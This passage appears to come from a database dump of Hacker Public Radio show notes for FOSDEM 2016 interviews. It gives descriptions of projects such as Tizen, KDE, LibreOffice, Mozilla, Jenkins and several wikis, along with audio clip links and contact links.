href=\"https://en.wikipedia.org/wiki/Enlightenment_(software)\">https://en.wikipedia.org/wiki/Enlightenment_(software)</a></li>\r\n</ul>\r\n<h2 id=\"Tizen\" >Tizen</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.tizen.org/sites/all/themes/tizen_theme/logo.png\"/></p>\r\n<blockquote cite=\"https://www.tizen.org/about\">\r\nTizen is an open and flexible operating system built from the ground up to address the needs of all stakeholders of the mobile and connected device ecosystem, including device manufacturers, mobile operators, application developers and independent software vendors (ISVs). Tizen is developed by a community of developers, under open source governance, and is open to all members who wish to participate.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Pawel Wieczorek</h3>\r\n\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.ogg#t=2049.667924,3177.619763\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.mp3#t=2049.667924,3177.619763\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.tizen.org/\">https://www.tizen.org/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/TizenProject\">@TizenProject</a></li>\r\n<li>email: <a href=\"mailto:p.wieczorek2.nospam@nospam.samsung.com\">p.wieczorek2.nospam@nospam.samsung.com</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Tizen\">https://en.wikipedia.org/wiki/Tizen</a></li>\r\n</ul>\r\n<h2 id=\"Kolab\" >Kolab</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://kolab.org/sites/kolab.org/themes/kolab/images/logo.png\"/></p>\r\n<blockquote cite=\"https://kolab.org/overview\">\r\nThe Kolab Groupware Solution offers Personal Information Management for deployments of any size. It runs on a Rasberry Pi and in clouds spread over multiple data centres. Kolab provides a secure, scalable and reliable collaboration server. Since it is Free Software, it is not only used by large companies and organisation, but also by many individuals who care about being in control of their personal information.\r\n</blockquote>\r\n\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/Kolab\">\r\nKolab is a free and open source groupware suite. It consists of the Kolab server and a wide variety of Kolab clients, including KDE PIM-Suite Kontact, Horde Webfrontend, Mozilla Thunderbird and Mozilla Lightning with SyncKolab extension and Microsoft Outlook with proprietary Kolab-Connector PlugIns.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Aaron Seigo</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/3/005/06d/0d3/2676f0c.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.ogg#t=3177.619763,5279.291355\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.mp3#t=3177.619763,5279.291355\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://kolab.org/\">https://kolab.org/</a>, <a href=\"https://kolabsystems.com\">https://kolabsystems.com</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/kolaborg\">@kolaborg</a></li>\r\n<li>email: <a href=\"mailto:seigo.nospam@nospam.kolabsystems.com\">seigo.nospam@nospam.kolabsystems.com</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Kolab\">https://en.wikipedia.org/wiki/Kolab</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/aaronseigo\">https://www.linkedin.com/in/aaronseigo</a></li>\r\n<li>Wikipedia: <a href=\"https://kolab.org/overview\">https://kolab.org/overview</a></li>\r\n<li>Robin Edgar <a href=\"https://hackerpublicradio.org/eps.php?id=1699\">hpr1699 :: FOSDEM 2015 Part 3 of 5</a></li>\r\n</ul>\r\n<h2 id=\"KDE\" >KDE</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/8/8d/KDE_logo.svg/128px-KDE_logo.svg.png\"/></p>\r\n<blockquote cite=\"https://www.kde.org/\">\r\nThe KDE Community is an international technology team dedicated to creating a free and user-friendly computing experience, offering an advanced graphical desktop, a wide variety of applications for communication, work, education and entertainment and a platform to easily build new applications upon. We have a strong focus on finding innovative solutions to old and new problems, creating a vibrant atmosphere open for experimentation.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Jonathan Riddell</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/media/p/5/005/01f/3b1/0fd5fe5.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.ogg#t=5279.291355,5736.591564\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.mp3#t=5279.291355,5736.591564\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.kde.org\">https://www.kde.org</a></li>\r\n<li>Twitter: <a href=\"hhttps://twitter.com/KdeNeon\">@KdeNeon</a></li>\r\n<li>email: <a href=\"mailto:jr.nospam@nospam.jriddell.org\">jr.nospam@nospam.jriddell.org</a></li>\r\n<li>Facebook: <a href=\"https://facebook.com/kdeneon\">https://facebook.com/kdeneon</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/113043070111945110583\">https://plus.google.com/113043070111945110583</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/KDE\">https://en.wikipedia.org/wiki/KDE</a></li>\r\n<li>Linkedin: <a href=\"https://uk.linkedin.com/in/jonathanriddell\">https://uk.linkedin.com/in/jonathanriddell</a></li>\r\n<li>Jonathan Riddell <a href=\"https://hackerpublicradio.org/eps.php?id=1452\">hpr1452 :: HPR Coverage at FOSDEM 2014 Part 3</a></li>\r\n<li>Jonathan Riddell <a href=\"https://hackerpublicradio.org/eps.php?id=1698\">hpr1698 :: FOSDEM 2015 Part 2 of 5</a></li>\r\n</ul>\r\n<h2 id=\"LibreOffice\" >LibreOffice</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/0/02/LibreOffice_Logo_Flat.svg/200px-LibreOffice_Logo_Flat.svg.png\"/></p>\r\n<blockquote cite=\"https://www.libreoffice.org/about-us/who-are-we/\">\r\nLibreOffice is the most widely used free open source office software. It is a community-driven project of The Document Foundation. LibreOffice is developed by professionals and by users, just like you, who believe in the principles of free software and in sharing their work with the world in a non-restrictive way. At the core of these principles is the promise of better-quality, highly-reliable and secure software that gives you greater flexibility at zero cost and no end-user lock-in. LibreOffice works natively with the Open Document Format, but also brings you support for by far the most file types for office-documents. It comes with support for over 80 languages and with a whole amount of other unique features to work with your texts, spreadsheets, presentations, drawings and data.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Italo Vignoli, Director Marketing and Communications</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/4/000/151/11f/101c183.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.ogg#t=5736.591564,6641.882318\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.mp3#t=5736.591564,6641.882318\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.libreoffice.org/\">https://www.libreoffice.org/</a>, <a href=\"https://www.documentfoundation.org/\">https://www.documentfoundation.org/</a></li>\r\n<li>Personal Website: <a href=\"\"></a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/tdforg\">@tdforg</a> <a href=\"https://twitter.com/libreoffice\">@libreoffice</a></li>\r\n<li>email: <a href=\"italo.vignoli.nospam@nospam.documentationfoundation.org\">italo.vignoli.nospam@nospam.documentationfoundation.org</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/libreoffice.org\">https://www.facebook.com/libreoffice.org</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/+libreoffice/\">https://plus.google.com/+libreoffice/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/LibreOffice\">https://en.wikipedia.org/wiki/LibreOffice</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/italovignoli\">https://www.linkedin.com/in/italovignoli</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/channel/UCQAClQkZEm2rkWvU5bvCAXQ\">https://www.youtube.com/channel/UCQAClQkZEm2rkWvU5bvCAXQ</a></li>\r\n<li>Cor Nouws <a href=\"https://hackerpublicradio.org/eps.php?id=1454\">hpr1454 :: HPR Coverage at FOSDEM 2014 Part 5</a></li>\r\n</ul>\r\n',30,78,0,'CC-BY-SA','FOSDEM, Fedora, OpenSuse, illumos, ownCloud, Enlightenment, Tizen, Kolab, KDE, LibreOffice',0,0,1),
(1959,'2016-02-04','FOSDEM 2016 K building level 2',6241,'Mozilla,Apache,Jenkins,x doku tiki and MediaWiki,LFS,Perl,Barghest,Coala,Google SOC,Ultimaker','<h1>Table of Contents</h1>\r\n\r\n<ul>\r\n<li><a href=\"#Mozilla\">Mozilla</a></li>\r\n<li><a href=\"#Apache_Software_Foundation\">Apache_Software_Foundation</a></li>\r\n<li><a href=\"#Jenkins\">Jenkins</a></li>\r\n<li><a href=\"#XWiki\">XWiki</a></li>\r\n<li><a href=\"#DokuWiki\">DokuWiki</a></li>\r\n<li><a href=\"#Tiki\">Tiki</a></li>\r\n<li><a href=\"#MediaWiki\">MediaWiki</a></li>\r\n<li><a href=\"#Linux_from_scratch\">Linux_from_scratch</a></li>\r\n<li><a href=\"#Perl\">Perl</a></li>\r\n<li><a href=\"#Barghest\">Barghest</a></li>\r\n<li><a href=\"#Coala\">Coala</a></li>\r\n<li><a href=\"#Google_Summer_of_Code\">Google_Summer_of_Code</a></li>\r\n<li><a href=\"#Ultimaker\">Ultimaker</a></li>\r\n</ul>\r\n<h2 id=\"Mozilla\" >Mozilla</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/b/b7/Mozilla_Wordmark.svg/501px-Mozilla_Wordmark.svg.png\"/></p>\r\n<blockquote cite=\"https://www.mozilla.org/en-US/mission/\">\r\nAt Mozilla, we’re a global community of technologists, thinkers and builders working together to keep the Internet alive and accessible, so people worldwide can be informed contributors and creators of the Web. We believe this act of human collaboration across an open platform is essential to individual growth and our collective future.\r\n</blockquote>\r\n\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/Mozilla\">\r\nMozilla is a free-software community, created in 1998 by members of Netscape. The Mozilla community uses, develops, spreads and supports Mozilla products, thereby promoting exclusively free software and open standards, with only minor exceptions. The community is supported institutionally by the Mozilla Foundation and its tax-paying subsidiary, the Mozilla Corporation.\r\n<br />\r\nMozilla produces many products such as the Firefox web browser, Thunderbird e-mail client, Firefox Mobile web browser, Firefox OS mobile operating system, Bugzilla bug tracking system and other projects.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Francisco Picolini, Community Events Manager</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/3/005/07d/10b/1045fdd.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=73.449329,585.902252\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=73.449329,585.902252\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.mozilla.org/en-US/\">https://www.mozilla.org/en-US/</a></li>\r\n<li>Personal Website: <a href=\"https://francjp.net/wp\">https://francjp.net/wp</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/mozilla\">@mozilla</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/francjp\">@francjp</a></li>\r\n<li>email: <a href=\"mailto:franc.nospam@nospam.mozilla.com\">franc.nospam@nospam.mozilla.com</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/mozilla\">https://www.facebook.com/mozilla</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Mozilla\">https://en.wikipedia.org/wiki/Mozilla</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/francjp\">https://www.linkedin.com/in/francjp</a></li>\r\n<li>Brian King <a href=\"https://hackerpublicradio.org/eps.php?id=1452\">hpr1452 :: HPR Coverage at FOSDEM 2014 Part 3</a></li>\r\n</ul>\r\n<h2 id=\"Apache_Software_Foundation\" >Apache Software Foundation</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.apache.org/img/asf_logo.png\"/></p>\r\n<blockquote cite=\"https://www.apache.org/foundation/\">\r\nThe mission of the Apache Software Foundation (ASF) is to provide software for the public good. We do this by providing services and support for many like-minded software project communities of individuals who choose to join the ASF.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Lars Eilebrecht</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/2/000/07c/3e2/17bc8ff.jpg\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=585.902252,1122.838285\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=585.902252,1122.838285\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.apache.org/\">https://www.apache.org/</a></li>\r\n<li>History of the ASF:  <a href=\"https://www.apache.org/history/\">https://www.apache.org/history/</a></li>\r\n<li>Apache Projects Directory:  <a href=\"https://projects.apache.org/\">https://projects.apache.org/</a></li>\r\n<li>ASF Mailing Lists:  <a href=\"https://www.apache.org/foundation/mailinglists.html#foundation-wide-mailing-lists\">https://www.apache.org/foundation/mailinglists.html#foundation-wide-mailing-lists</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/TheASF\">@TheASF</a></li>\r\n<li>email: <a href=\"mailto:lars.nospam@nospam.apache.org\">lars.nospam@nospam.apache.org</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Apache_Software_Foundation\">https://en.wikipedia.org/wiki/Apache_Software_Foundation</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/eilebrecht\">https://www.linkedin.com/in/eilebrecht</a></li>\r\n</ul>\r\n<h2 id=\"Jenkins\" >Jenkins</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://jenkins-ci.org/images/header_logo.png\"/></p>\r\n<blockquote cite=\"https://wiki.jenkins-ci.org/display/JENKINS/Meet+Jenkins\">\r\nIn a nutshell, Jenkins is the leading open source automation server. Built with Java, it provides hundreds of plugins to support building, testing, deploying and automation for virtually any project. \r\n<br />\r\nJenkins is an award-winning, cross-platform, continuous integration and continuous delivery application that increases your productivity. Use Jenkins to build and test your software projects continuously making it easier for developers to integrate changes to the project, and making it easier for users to obtain a fresh build. It also allows you to continuously deliver your software by providing powerful ways to define your build pipelines and integrating with a large number of testing and deployment technologies.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Kohsuke Kawaguchi</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0131968.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=1122.838285,1547.625879\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=1122.838285,1547.625879\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://jenkins-ci.org/\">https://jenkins-ci.org/</a></li>\r\n<li>Personal Website: <a href=\"https://kohsuke.org/\">https://kohsuke.org/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/kohsukekawa\">@kohsukekawa</a></li>\r\n<li>email: <a href=\"mailto:kk.nospam@nospam.kohsuke.org\">kk.nospam@nospam.kohsuke.org</a> <a href=\"https://kohsuke.org/about/pgp/\">https://kohsuke.org/about/pgp/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Jenkins_(software)\">https://en.wikipedia.org/wiki/Jenkins_(software)</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/kohsukekawaguchi\">https://www.linkedin.com/in/kohsukekawaguchi</a></li>\r\n<li>Kohsuke Kawaguchi <a href=\"https://hackerpublicradio.org/eps.php?id=1453\">hpr1453 :: HPR Coverage at FOSDEM 2014 Part 4</a></li>\r\n</ul>\r\n<h2 id=\"XWiki\" >XWiki</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.xwiki.org/xwiki/bin/view/Main/Logo?xpage=plain&act=svg&finput=logo-xwikiorange.svg&foutput=logo-xwikiorange.png&width=200\"/></p>\r\n<blockquote>\r\nXWiki Enterprise is a professional wiki with enterprise features such as Blog, strong rights management, LDAP authentication, PDF export, full skining and more. It also includes an advanced Form and scripting engine making it a development environment for data-based applications. It has powerful extensibility features such as scripting in pages, plugins and a highly modular architecture.\r\n<br />\r\nSee the full feature list for more: <a href=\"https://enterprise.xwiki.org/xwiki/bin/view/Main/Features\">https://enterprise.xwiki.org/xwiki/bin/view/Main/Features</a>.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Anca Luca</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/media/AAEAAQAAAAAAAAKNAAAAJGUzZDMzZjQ2LTY3NjAtNGI3ZS05MWZhLTFkMWY2NmNhMGY2Mw.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=1547.625879,1985.614044\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=1547.625879,1985.614044\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://xwiki.org\">https://xwiki.org</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/lucaa\">@lucaa</a>, <a href=\"https://twitter.com/xwiki\">@xwiki</a></li>\r\n<li>email: <a href=\"mailto:lucaa.nospam@nospam.xwiki.com\">lucaa.nospam@nospam.xwiki.com</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/XWiki\">https://en.wikipedia.org/wiki/XWiki</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/lucaa\">https://www.linkedin.com/in/lucaa</a></li>\r\n</ul>\r\n<h2 id=\"DokuWiki\" >DokuWiki</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.dokuwiki.org/_media/wiki:dokuwiki-64.png?cache=&w=64&h=64&tok=3e153b\"/></p>\r\n<blockquote cite=\"https://www.dokuwiki.org/dokuwiki#\">\r\nDokuWiki is a simple to use and highly versatile Open Source wiki software that doesn\'t require a database. It is loved by users for its clean and readable syntax. The ease of maintenance, backup and integration makes it an administrator\'s favorite. Built in access controls and authentication connectors make DokuWiki especially useful in the enterprise context and the large number of plugins contributed by its vibrant community allow for a broad range of use cases beyond a traditional wiki.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Michael Hamann</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://pbs.twimg.com/profile_images/52981474/quadrat_2007-07-30_400x400.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=1985.614044,2261.020822\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=1985.614044,2261.020822\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.dokuwiki.org/\">https://www.dokuwiki.org/</a></li>\r\n<li>Personal Website: <a href=\"https://www.content-space.de/\">https://www.content-space.de/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/dokuwiki\">@dokuwiki</a>, <a href=\"https://twitter.com/Michitux\">@Michitux</a></li>\r\n<li>email: <a href=\"mailto:michael.nospam@nospam.content-space.de\">michael.nospam@nospam.content-space.de</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/dokuwiki/\">https://www.facebook.com/dokuwiki/</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/+dokuwiki/posts\">https://plus.google.com/+dokuwiki/posts</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/DokuWiki\">https://en.wikipedia.org/wiki/DokuWiki</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/michael-hamann-3079992a\">https://www.linkedin.com/in/michael-hamann-3079992a</a></li>\r\n<li>GitHub: <a href=\"https://github.com/splitbrain/dokuwiki\">https://github.com/splitbrain/dokuwiki</a></li>\r\n</ul>\r\n<h2 id=\"Tiki\" >Tiki</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/en/0/0a/Tiki_Wiki_CMS_Groupware_Logo.gif\"/></p>\r\n<blockquote cite=\"https://tiki.org/tiki-index.php\">\r\nTiki is the Free / Libre / Open Source Web Application Platform with the most built-in features. Whatever feature you can imagine running in a browser window, chances are Tiki does it.\r\n</blockquote>\r\n\r\n<blockquote>\r\nTiki Wiki CMS Groupware or simply Tiki, originally known as TikiWiki, is a free and open source Wiki-based content management system and online office suite written primarily in PHP and distributed under the GNU Lesser General Public License (LGPL) license. In addition to enabling websites and portals on the internet and on intranets and extranets, Tiki contains a number of collaboration features allowing it to operate as a Geospatial Content Management System (GeoCMS) and Groupware web application.\r\n</blockquote>\r\n\r\n<!-- From Wikipedia page https://en.wikipedia.org/wiki/Tiki_Wiki_CMS_Groupware modified by Jean-Marc Libs -->\r\n\r\n<h3>Listen to the interview with Jean-Marc Libs</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://hackerpublicradio.org/eps/fosdem2016/tete_P1030700_500x500.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=2261.020822,2645.755403\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=2261.020822,2645.755403\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://tiki.org\">https://tiki.org</a></li>\r\n<li>Personal Website: <a href=\"https://alsawiki.com/HomePage?no_bl=y\">https://alsawiki.com/HomePage?no_bl=y</a></li>\r\n<li>IRC: <a href=\"https://tiki.org/Connecting+To+IRC\">https://tiki.org/Connecting+To+IRC</a></li>\r\n<li>Mailing-Lists: <a href=\"https://tiki.org/Mailing+Lists\">https://tiki.org/Mailing+Lists</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/jml67\">@jml67</a>, <a href=\"https://twitter.com/tikiwiki\">@tikiwiki</a></li>\r\n<li>Fediverse: <a href=\"https://identi.ca/group/tikiwiki\">https://identi.ca/group/tikiwiki</a></li>\r\n<li>email: <a href=\"mailto:jyhem.nospam@nospam.tiki.org\">mailto:jyhem.nospam@nospam.tiki.org</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/groups/6607687318/\">https://www.facebook.com/groups/6607687318/</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/100068718540627516168/\">https://plus.google.com/100068718540627516168/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Tiki_Wiki_CMS_Groupware\">https://en.wikipedia.org/wiki/Tiki_Wiki_CMS_Groupware</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/groups/Tiki-Wiki-CMS-Groupware-118987\">https://www.linkedin.com/groups/Tiki-Wiki-CMS-Groupware-118987</a></li>\r\n<li>Ohloh: <a href=\"https://www.ohloh.net/projects/39\">https://www.ohloh.net/projects/39</a></li>\r\n<li>Last.fm: <a href=\"https://www.last.fm/group/Tikiwiki\">https://www.last.fm/group/Tikiwiki</a></li>\r\n<li>SlideShare: <a href=\"https://www.slideshare.net/search/slideshow?q=tikiwiki\">https://www.slideshare.net/search/slideshow?q=tikiwiki</a></li>\r\n<li>Ustream: <a href=\"https://www.ustream.tv/channel/tikifests\">https://www.ustream.tv/channel/tikifests</a></li>\r\n<li>Flickr: <a href=\"https://www.flickr.com/search/show/?q=tikiwiki\">https://www.flickr.com/search/show/?q=tikiwiki</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/results?search_query=tikiwiki\">https://www.youtube.com/results?search_query=tikiwiki</a></li>\r\n<li>Delicious: <a href=\"https://delicious.com/search?p=tikiwiki\">https://delicious.com/search?p=tikiwiki</a></li>\r\n</ul>\r\n<h2 id=\"MediaWiki\" >MediaWiki</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.mediawiki.org/static/images/project-logos/mediawikiwiki.png\"/></p>\r\n<blockquote cite=\"https://wikimediafoundation.org/wiki/Home\">\r\nThe Wikimedia Foundation, Inc. is a nonprofit charitable organization dedicated to encouraging the growth, development and distribution of free, multilingual, educational content, and to providing the full content of these wiki-based projects to the public free of charge. The Wikimedia Foundation operates some of the largest collaboratively edited reference projects in the world, including Wikipedia, a top-ten internet property.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Marius Hoch</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/8/8e/Marius_Hoch_Wikimedia_Deutschland.jpg/640px-Marius_Hoch_Wikimedia_Deutschland.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=2645.755403,3072.912331\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=2645.755403,3072.912331\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.mediawiki.org\">https://www.mediawiki.org</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/Wikimedia/\">@Wikimedia</a></li>\r\n<li>email: <a href=\"mailto:hoo.nospam@nospam.online.de\">hoo.nospam@nospam.online.de</a>, <a href=\"mailto:mflaschen.nospam@nospam.wikimedia.org\">mflaschen.nospam@nospam.wikimedia.org</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/MediaWiki\">https://en.wikipedia.org/wiki/MediaWiki</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/marius-hoch-337467105\">https://www.linkedin.com/in/marius-hoch-337467105</a></li>\r\n<li>Wikibase: <a href=\"https://wikiba.se/\">https://wikiba.se/</a></li>\r\n<li>Wikidata: <a href=\"https://wikidata.org/\">https://wikidata.org/</a></li>\r\n<li>Flow: <a href=\"https://www.mediawiki.org/wiki/Extension:Flow\">https://www.mediawiki.org/wiki/Extension:Flow</a></li>\r\n<li>Echo: <a href=\"https://www.mediawiki.org/wiki/Extension:Echo\">https://www.mediawiki.org/wiki/Extension:Echo</a></li>\r\n<li>Quim Gil <a href=\"https://hackerpublicradio.org/eps.php?id=1699\">hpr1699 :: FOSDEM 2015 Part 3 of 5</a></li>\r\n</ul>\r\n<h2 id=\"Linux_from_scratch\" >Linux from scratch</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.linuxfromscratch.org/images/lfs-logo.png\"/></p>\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/Linux_From_Scratch\">\r\nLinux From Scratch (LFS) is a type of a Linux installation and the name of a book written by Gerard Beekmans, among others. The book gives readers instructions on how to build a Linux system from source. The book is available freely from the Linux From Scratch site and is currently in version 7.8.\r\n<br />\r\nLinux From Scratch is a way to install a working Linux system by building all components of it manually. This is, naturally, a longer process than installing a pre-compiled Linux distribution. According to the Linux From Scratch site, the advantages to this method are a compact, flexible and secure system and a greater understanding of the internal workings of the Linux-based operating systems.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Jean-Philippe Mengual</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://hypra.fr/IMG/auton4.jpg?1433429877\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.ogg#t=3072.912331,3598.791475\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1959.mp3#t=3072.912331,3598.791475\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.linuxfromscratch.org/\">https://www.linuxfromscratch.org/</a>, <a href=\"https://lists.linuxfromscratch.org\">https://lists.linuxfromscratch.org</a></li>\r\n<li>email: <a href=\"mailto:jmengual.nospam@nospam.linuxfromscratch.org\">jmengual.nospam@nospam.linuxfromscratch.org</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Linux_From_Scratch\">https://en.wikipedia.org/wiki/Linux_From_Scratch</a></li>\r\n</ul>\r\n<h2 id=\"Perl\" >Perl</h2>\r\n\r\n<p><img 